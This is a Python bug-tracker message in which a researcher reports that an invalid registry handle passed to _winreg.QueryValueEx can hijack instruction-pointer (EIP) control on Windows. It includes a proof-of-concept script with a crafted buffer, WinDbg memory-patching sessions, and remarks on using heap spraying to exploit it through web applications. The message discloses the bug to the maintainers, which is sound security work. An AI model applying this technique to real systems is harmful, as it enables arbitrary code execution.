Author JohnLeitch
Recipients JohnLeitch, eryksun, steve.dower, tim.golden, zach.ware
Date 2015-05-16.22:22:27
SpamBayes Score -1.0
Marked as misclassified Yes
Message-id <1431814948.35.0.48183822332.issue24201@psf.upfronthosting.co.za>
In-reply-to
Content
Thank you again for the explanation of the internals at play here. Armed with the knowledge you provided, I conducted further experimentation, and I believe I can now demonstrate how EIP control is possible with this bug. Note that RPC initialization is not necessary, thus lowering the barrier to entry.

First, it is possible to satisfy both magic number checks using a single buffer, and the predicted address of said buffer. This can be simulated with the following script:

import _winreg
test = "AAAA\x98\xba\xdc\xfeCCCC\xEF\xCD\xAB\x89EEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQAAAA"
_winreg.QueryValueEx(0x41414141, 'test')

A breakpoint is set at the first magic number check to give us an opportunity to patch up our buffer with the "predicted" addresses.

Breakpoint 0 hit
eax=41414140 ebx=0027fc2c ecx=00000000 edx=00000000 esi=753a3584 edi=00000000
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp     dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=?
???????
0:000> s -b 0x0 L?0x7fffffff 41 41 41 41 98 ba dc fe
01ccc37c  41 41 41 41 98 ba dc fe-43 43 43 43 ef cd ab 89  AAAA....CCCC....
0:000> r @eax=0x01ccc37c
0:000> ed eax eax+0x8
0:000> ed eax+0x8 eax+0xc
0:000> dc eax
01ccc37c  01ccc384 fedcba98 01ccc388 89abcdef  ................
01ccc38c  45454545 46464646 47474747 48484848  EEEEFFFFGGGGHHHH
01ccc39c  49494949 4a4a4a4a 4b4b4b4b 4c4c4c4c  IIIIJJJJKKKKLLLL
01ccc3ac  4d4d4d4d 4e4e4e4e 4f4f4f4f 50505050  MMMMNNNNOOOOPPPP
01ccc3bc  51515151 41414141 01ccab00 01cbe048  QQQQAAAA....H...
01ccc3cc  01cbe070 01ccabe0 01cbe098 01cbe0c0  p...............
01ccc3dc  baadf000 01ccc548 1e228bf8 00000062  ....H.....".b...
01ccc3ec  ffffffff 00000000 72747320 6c6c6f63  ........ strcoll
0:000> r
eax=01ccc37c ebx=0027fc2c ecx=00000000 edx=00000000 esi=753a3584 edi=00000000
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp     dword ptr [eax+4],0FEDCBA98h ds:002b:01ccc380=f
edcba98

While we patched up the buffer with two addresses, this is still viable through heap spraying because the second address is relative to the first. Continuing execution, we hit our second magic number check:

0:000> g
Breakpoint 2 hit
eax=e7fafcfb ebx=0027f7f8 ecx=0000009c edx=00000001 esi=01ccc384 edi=01ccc384
eip=75472451 esp=0027f7ac ebp=0027f7c0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
RPCRT4!I_RpcGetBufferWithObject+0x21:
75472451 817e04efcdab89  cmp     dword ptr [esi+4],89ABCDEFh ds:002b:01ccc388=89
abcdef
0:000> dc esi+4
01ccc388  89abcdef 45454545 46464646 47474747  ....EEEEFFFFGGGG
01ccc398  48484848 49494949 4a4a4a4a 4b4b4b4b  HHHHIIIIJJJJKKKK
01ccc3a8  4c4c4c4c 4d4d4d4d 4e4e4e4e 4f4f4f4f  LLLLMMMMNNNNOOOO
01ccc3b8  50505050 51515151 41414141 01ccab00  PPPPQQQQAAAA....
01ccc3c8  01cbe048 01cbe070 01ccabe0 01cbe098  H...p...........
01ccc3d8  01cbe0c0 baadf000 01ccc548 1e228bf8  ........H.....".
01ccc3e8  00000062 ffffffff 00000000 72747320  b........... str
01ccc3f8  6c6c6f63 72747328 2c676e69 69727473  coll(string,stri

All is well. When execution is continued, we achieve EIP control:

0:000> g
(10d8.15a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0027f7f8 ecx=01ccc384 edx=00000001 esi=01ccc384 edi=00000040
eip=41414141 esp=0027f79c ebp=0027f7c0 iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287
41414141 ??              ???

Apologies for the messy memory editing; there's probably a more Pythonic way of patching the buffer. And, of course, I believe it to be possible to achieve this via heap spraying, without any patching at all. Given this, I think exploitation in the real world is possible with two primitives: heap spraying and hkey value control. A web application, for example, might offer an attacker both of these primitives, while at the same time reasonably expecting arbitrary code execution to be prohibited.
History
Date User Action Args
2015-05-16 22:22:28JohnLeitchsetrecipients: + JohnLeitch, tim.golden, zach.ware, eryksun, steve.dower
2015-05-16 22:22:28JohnLeitchsetmessageid: <1431814948.35.0.48183822332.issue24201@psf.upfronthosting.co.za>
2015-05-16 22:22:28JohnLeitchlinkissue24201 messages
2015-05-16 22:22:27JohnLeitchcreate